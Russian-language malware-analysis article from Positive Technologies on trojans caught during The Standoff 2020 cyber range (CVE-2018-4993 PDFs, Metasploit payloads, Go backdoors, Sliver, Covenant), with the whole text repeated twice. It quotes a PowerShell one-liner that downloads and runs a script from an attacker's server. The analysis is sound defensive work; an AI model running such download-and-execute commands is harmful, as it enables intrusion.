С 12 по 17 ноября 2020 года на киберполигоне The Standoff прошла крупнейшая битва между командами атакующих и защитников. Действия разворачивались в течение 123 часов в городе FF — цифровом двойнике мегаполиса с характерной инфраструктурой: морским портом, аэропортом, нефтяным месторождением, деловым центром, парком развлечений и другими объектами.
Двадцать девять команд атаковали инфраструктуру, добиваясь реализации бизнес-рисков, опасных для различных компаний, работающих в городе, а другие шесть команд мониторили и изучали активность нападающих, тренировали навыки противодействия и расследования инцидентов. В общем, все как в жизни. Хотя кроме нападающих и обороняющихся была еще третья сторона, которая пристально наблюдала за их действиями, — глобальный SOC (подробнее о нем читайте в другой нашей статье ). Прозванный Большим Братом, SOC объединил несколько команд PT Expert Security Center , которые в режиме нон-стоп анализировали события при помощи специальных средств защиты. Одной из таких команд был отдел обнаружения вредоносного ПО, который с помощью песочницы PT Sandbox вылавливал и исследовал троянские программы «редтимеров». Напомним, PT Sandbox может:
• сканировать файл правилами PT ESC,
• сканировать файл движками внешних антивирусных вендоров,
• обнаруживать вредоносную активность после запуска в изолированной среде поведенческими правилами,
• анализировать сетевой трафик правилами PT Network Attack Discovery ,
• анализировать дампы процессов правилами PT ESC.
Сегодня мы расскажем о том, что и как нам удалось поймать, а также о том, какие находки нас особенно впечатлили.
Во время активных действий на The Standoff (с 12:00 12 ноября и до 15:00 17 ноября) песочница PT Sandbox обнаружила вредоносное ПО в 8609 файлах. Такие файлы поступали в систему анализа двумя способами:
• из трафика, перехваченные с помощью PT Network Attack Discovery ;
• с почтовых серверов в инфраструктуре города FF — при анализе вложений в письмах.
Практически половина всех пойманных троянов была найдена в ночь с 15 на 16 ноября.

Мы провели огромную работу по валидации задетектированных объектов, каждый образец мы отнесли к той или иной группе. Иными словами, все зловреды были классифицированы по семействам.

В реальных инфраструктурах не происходит такого обилия атак за единицу времени, как это было во время кибербитвы. Кроме того, профиль атакующих in the wild обширнее: используется больше различных инструментов, в том числе ориентированных на какие-то специфичные действия (скажем, на получения финансовой выгоды или кибер шпионаж ). Однако с точки зрения представленных классов вредоносного ПО картина вполне правдоподобна. При типовых атаках преобладает использование уязвимостей в популярном софте и промежуточных загрузчиков (stagers) для получения первичного доступа.
Совместим дальнейший анализ получившейся диаграммы с разбором некоторых образцов.
Практически половину зловредов составили PDF-документы с эксплойтами для уязвимости CVE-2018-4993 в программе Adobe Acrobat Reader. Уязвимость заключается в автоматическом соединении с удаленным сервером по протоколу SMB. В результате такого соединения атакующий может получить Net-NTLM response жертвы на специально подготовленный Net-NTLM challenge.
MD5: 484e1fe323ad4696f252a142d97be2c2

При удачном развитии событий атакующий может восстановить учетные данные жертвы путем перебора возможных значений (брутфорса) или же использовать сетевые соединения для атаки NTLM-relay .
На рисунке ниже представлен пример того, что, собственно, мы и видели при обнаружении вредоносного документа с совершенно безобидным названием goodpdf.pdf.

Отмечу, что за 123 часа мы встретили случаи использования инструмента Responder , который используется атакующими, в частности, для вышеупомянутой атаки NTLM-relay.
MD5: 9bcec68fd23e12e09a89948ae4483e62

Около трети проанализированного ВПО мы отнесли к этой категории. Сюда вошли все вариации полезной нагрузки, сгенерированной с применением Metasploit, популярнейшего проекта для тестов на проникновение — не нуждающегося в гиперссылке ;) Добавлю, что здесь посчитаны те случаи, в которых мы не подтвердили использование какой-то конкретной полезной нагрузки. Рассмотрим в качестве примера один из образцов.
MD5: f7a8f6169df5b399cdac045e610b90f1
В сетевом трафике был перехвачен файл с подозрительным именем killerqueen.xlsm. Это офисный документ для Excel нового образца с макросом.

Извлеченный код макроса позволяет судить о запуске нового потока с позиционно независимым кодом сразу после открытия документа.

Получаем дизассемблированный листинг буфера данных, на который передается управление, и убеждаемся в том, что перед нами исполняемый код.


А в байтовом представлении легко улавливаются читаемые строки User Agent, используемого для HTTP-запросов, и IP-адрес атакующих.

Впрочем, образец был обнаружен PT Sandbox из-за использования макроса еще на начальной стадии, до всех этих ухищрений.

Тринадцатого ноября в 07:46 по московскому времени мы обнаружили интересный образец. Изначально определенный уровень опасности был выявлен в аномальном сетевом трафике при поведенческом анализе, за счет чего образец получил вердикт трояна-загрузчика. Но гораздо более интересным во время статического анализа было срабатывание специального YARA -правила, которое определяет нелегитимные случаи использования упаковщика UPX .
MD5: 298fc6e08c81e40a166c62bab42459af

Особенность использования упаковщика UPX заключается в отсутствии имен секций, которые проставляет стандартная версия. Тем не менее код упаковщика остался неизменным. Также на рисунке ниже можно заметить еще один артефакт — версию 3.96 упаковщика UPX.

Внимательный читатель наверняка обратил внимание на еще один артефакт на рисунке: образец написан на языке Go, повсеместно набирающем популярность.
Проанализировав образец, мы не нашли его исходных кодов в публичных источниках. Тем не менее его возможности соответствуют джентельменскому набору инструмента для удаленного управления ПК жертвы:
• создание файлов,
• получение текущего каталога,
• получение содержимого текущего каталога,
• смена каталога,
• загрузка данных на компьютер жертвы,
• выгрузка данных с компьютера жертвы,
• выполнение команд через shell (cmd.exe в случае Windows),
• шифрование данных, отправляемых на управляющий сервер, с помощью RC4.


Стоит сказать, что этот бэкдор может выполнять и роль прокси: через каналы Go он может принимать и отправлять данные на управляющий сервер, играя роль оркестратора для дополнительных плагинов, расширяющих его возможности.
Отмечу, что мы оперативно проанализировали этот бэкдор, усовершенствовали поведенческие правила — и благополучно обнаруживали прочие его модификации при поведенческом анализе.

Конечно же, мы обнаружили аналогичную версию трояна, но скомпилированную уже под Linux, причем с той же особенностью: несмотря на упаковку, в PE-заголовке также отсутствует упоминание об UPX. Вот вам наглядное преимущество использования языка программирования с кросс-компилируемостью!
Бегло пройдемся по некоторым другим семействам, образцов в которых было значительно меньше, но они от этого ничуть не менее любопытны.
MD5: f198d4402dc38620c5a75067a0ed568a
Еще один бэкдор на Go. На этот раз, правда, не упакованный, но зато все используемые строки закодированы операцией XOR с ключом, длина которого совпадает с длиной строки.

После деобфускации мы установили, что это вариация общедоступного фреймворка для постэксплуатации Sliver с частично урезанными возможностями взаимодействия с управляющим сервером.
Еще один образец был получен при следующей цепочке действий. На анализ попал однострочный скрипт для PowerShell:
powershell -c «IEX(New-Object System.Net.WebClient).DownloadString('http://*.*.34.54:8000/s5.ps1')»
В результате запуска с управляющего сервера был получен снова скрипт PowerShell, но значительно большего размера.

Полезная нагрузка сжата с помощью Deflate и вновь закодирована Base64.

В результате получен имплант постэксплуатационного фреймфорка на .NET Covenant .
MD5: 8a97322e3c0245c57b231417b060eec9

А вот пример минималистичного, но работоспособного реверс-шелла на PowerShell.
MD5: aaebe541fa164e77e2f90c9e67dbbaca

Просто, но эффективно.
Конечно, мы не могли не отметить инструменты для продвижения внутри сети — SharpHound и Rubeus .
MD5: 513d35b572b05caa1571a48db1ae24de

MD5: 98382aae04b763f096a3b868d9ba70fe

Отдельный интерес представляло наблюдение за тем, какую фантазию проявляли атакующие по части названий:

***
Итак, если подводить итоги нашей работы и работы нашего инструментария во время The Standoff, то:
• в каждом третьем случае совокупность антивирусных движков трех внешних вендоров пропустила вредоносное ПО;
• технологии статического и поведенческого детекта PT ESC не только существенно дополнили комбинацию классических средств защиты, но и показали достойный уровень обнаружения.

Фактически эта картина очередной раз подтверждает, что использование различных экспертных знаний, технологий, подходов к обнаружению существенно повышает уровень обнаружения вредоносного ПО. Эта же мысль относится и к использованию совокупности решений различных классов, которое повышает уровень информационной безопасности в целом.
Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies
Двадцать девять команд атаковали инфраструктуру, добиваясь реализации бизнес-рисков, опасных для различных компаний, работающих в городе, а другие шесть команд мониторили и изучали активность нападающих, тренировали навыки противодействия и расследования инцидентов. В общем, все как в жизни. Хотя кроме нападающих и обороняющихся была еще третья сторона, которая пристально наблюдала за их действиями, — глобальный SOC (подробнее о нем читайте в другой нашей статье ). Прозванный Большим Братом, SOC объединил несколько команд PT Expert Security Center , которые в режиме нон-стоп анализировали события при помощи специальных средств защиты. Одной из таких команд был отдел обнаружения вредоносного ПО, который с помощью песочницы PT Sandbox вылавливал и исследовал троянские программы «редтимеров». Напомним, PT Sandbox может:
• сканировать файл правилами PT ESC,
• сканировать файл движками внешних антивирусных вендоров,
• обнаруживать вредоносную активность после запуска в изолированной среде поведенческими правилами,
• анализировать сетевой трафик правилами PT Network Attack Discovery ,
• анализировать дампы процессов правилами PT ESC.
Сегодня мы расскажем о том, что и как нам удалось поймать, а также о том, какие находки нас особенно впечатлили.
Общая статистика
Во время активных действий на The Standoff (с 12:00 12 ноября и до 15:00 17 ноября) песочница PT Sandbox обнаружила вредоносное ПО в 8609 файлах. Такие файлы поступали в систему анализа двумя способами:
• из трафика, перехваченные с помощью PT Network Attack Discovery ;
• с почтовых серверов в инфраструктуре города FF — при анализе вложений в письмах.
Практически половина всех пойманных троянов была найдена в ночь с 15 на 16 ноября.

Мы провели огромную работу по валидации задетектированных объектов, каждый образец мы отнесли к той или иной группе. Иными словами, все зловреды были классифицированы по семействам.

В реальных инфраструктурах не происходит такого обилия атак за единицу времени, как это было во время кибербитвы. Кроме того, профиль атакующих in the wild обширнее: используется больше различных инструментов, в том числе ориентированных на какие-то специфичные действия (скажем, на получения финансовой выгоды или кибер шпионаж ). Однако с точки зрения представленных классов вредоносного ПО картина вполне правдоподобна. При типовых атаках преобладает использование уязвимостей в популярном софте и промежуточных загрузчиков (stagers) для получения первичного доступа.
Совместим дальнейший анализ получившейся диаграммы с разбором некоторых образцов.
CVE-2018-4993
Практически половину зловредов составили PDF-документы с эксплойтами для уязвимости CVE-2018-4993 в программе Adobe Acrobat Reader. Уязвимость заключается в автоматическом соединении с удаленным сервером по протоколу SMB. В результате такого соединения атакующий может получить Net-NTLM response жертвы на специально подготовленный Net-NTLM challenge.
MD5: 484e1fe323ad4696f252a142d97be2c2

При удачном развитии событий атакующий может восстановить учетные данные жертвы путем перебора возможных значений (брутфорса) или же использовать сетевые соединения для атаки NTLM-relay .
На рисунке ниже представлен пример того, что, собственно, мы и видели при обнаружении вредоносного документа с совершенно безобидным названием goodpdf.pdf.

Отмечу, что за 123 часа мы встретили случаи использования инструмента Responder , который используется атакующими, в частности, для вышеупомянутой атаки NTLM-relay.
MD5: 9bcec68fd23e12e09a89948ae4483e62

Metasploit
Около трети проанализированного ВПО мы отнесли к этой категории. Сюда вошли все вариации полезной нагрузки, сгенерированной с применением Metasploit, популярнейшего проекта для тестов на проникновение — не нуждающегося в гиперссылке ;) Добавлю, что здесь посчитаны те случаи, в которых мы не подтвердили использование какой-то конкретной полезной нагрузки. Рассмотрим в качестве примера один из образцов.
MD5: f7a8f6169df5b399cdac045e610b90f1
В сетевом трафике был перехвачен файл с подозрительным именем killerqueen.xlsm. Это офисный документ для Excel нового образца с макросом.

Извлеченный код макроса позволяет судить о запуске нового потока с позиционно независимым кодом сразу после открытия документа.

Получаем дизассемблированный листинг буфера данных, на который передается управление, и убеждаемся в том, что перед нами исполняемый код.


А в байтовом представлении легко улавливаются читаемые строки User Agent, используемого для HTTP-запросов, и IP-адрес атакующих.

Впрочем, образец был обнаружен PT Sandbox из-за использования макроса еще на начальной стадии, до всех этих ухищрений.

Goagent
Тринадцатого ноября в 07:46 по московскому времени мы обнаружили интересный образец. Изначально определенный уровень опасности был выявлен в аномальном сетевом трафике при поведенческом анализе, за счет чего образец получил вердикт трояна-загрузчика. Но гораздо более интересным во время статического анализа было срабатывание специального YARA -правила, которое определяет нелегитимные случаи использования упаковщика UPX .
MD5: 298fc6e08c81e40a166c62bab42459af

Особенность использования упаковщика UPX заключается в отсутствии имен секций, которые проставляет стандартная версия. Тем не менее код упаковщика остался неизменным. Также на рисунке ниже можно заметить еще один артефакт — версию 3.96 упаковщика UPX.

Внимательный читатель наверняка обратил внимание на еще один артефакт на рисунке: образец написан на языке Go, повсеместно набирающем популярность.
Проанализировав образец, мы не нашли его исходных кодов в публичных источниках. Тем не менее его возможности соответствуют джентельменскому набору инструмента для удаленного управления ПК жертвы:
• создание файлов,
• получение текущего каталога,
• получение содержимого текущего каталога,
• смена каталога,
• загрузка данных на компьютер жертвы,
• выгрузка данных с компьютера жертвы,
• выполнение команд через shell (cmd.exe в случае Windows),
• шифрование данных, отправляемых на управляющий сервер, с помощью RC4.


Стоит сказать, что этот бэкдор может выполнять и роль прокси: через каналы Go он может принимать и отправлять данные на управляющий сервер, играя роль оркестратора для дополнительных плагинов, расширяющих его возможности.
Отмечу, что мы оперативно проанализировали этот бэкдор, усовершенствовали поведенческие правила — и благополучно обнаруживали прочие его модификации при поведенческом анализе.

Конечно же, мы обнаружили аналогичную версию трояна, но скомпилированную уже под Linux, причем с той же особенностью: несмотря на упаковку, в PE-заголовке также отсутствует упоминание об UPX. Вот вам наглядное преимущество использования языка программирования с кросс-компилируемостью!
Прочие, но не менее интересные
Бегло пройдемся по некоторым другим семействам, образцов в которых было значительно меньше, но они от этого ничуть не менее любопытны.
MD5: f198d4402dc38620c5a75067a0ed568a
Еще один бэкдор на Go. На этот раз, правда, не упакованный, но зато все используемые строки закодированы операцией XOR с ключом, длина которого совпадает с длиной строки.

После деобфускации мы установили, что это вариация общедоступного фреймворка для постэксплуатации Sliver с частично урезанными возможностями взаимодействия с управляющим сервером.
Еще один образец был получен при следующей цепочке действий. На анализ попал однострочный скрипт для PowerShell:
powershell -c «IEX(New-Object System.Net.WebClient).DownloadString('http://*.*.34.54:8000/s5.ps1')»
В результате запуска с управляющего сервера был получен снова скрипт PowerShell, но значительно большего размера.

Полезная нагрузка сжата с помощью Deflate и вновь закодирована Base64.

В результате получен имплант постэксплуатационного фреймфорка на .NET Covenant .
MD5: 8a97322e3c0245c57b231417b060eec9

А вот пример минималистичного, но работоспособного реверс-шелла на PowerShell.
MD5: aaebe541fa164e77e2f90c9e67dbbaca

Просто, но эффективно.
Конечно, мы не могли не отметить инструменты для продвижения внутри сети — SharpHound и Rubeus .
MD5: 513d35b572b05caa1571a48db1ae24de

MD5: 98382aae04b763f096a3b868d9ba70fe

Отдельный интерес представляло наблюдение за тем, какую фантазию проявляли атакующие по части названий:

***
Итак, если подводить итоги нашей работы и работы нашего инструментария во время The Standoff, то:
• в каждом третьем случае совокупность антивирусных движков трех внешних вендоров пропустила вредоносное ПО;
• технологии статического и поведенческого детекта PT ESC не только существенно дополнили комбинацию классических средств защиты, но и показали достойный уровень обнаружения.

Фактически эта картина очередной раз подтверждает, что использование различных экспертных знаний, технологий, подходов к обнаружению существенно повышает уровень обнаружения вредоносного ПО. Эта же мысль относится и к использованию совокупности решений различных классов, которое повышает уровень информационной безопасности в целом.
Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies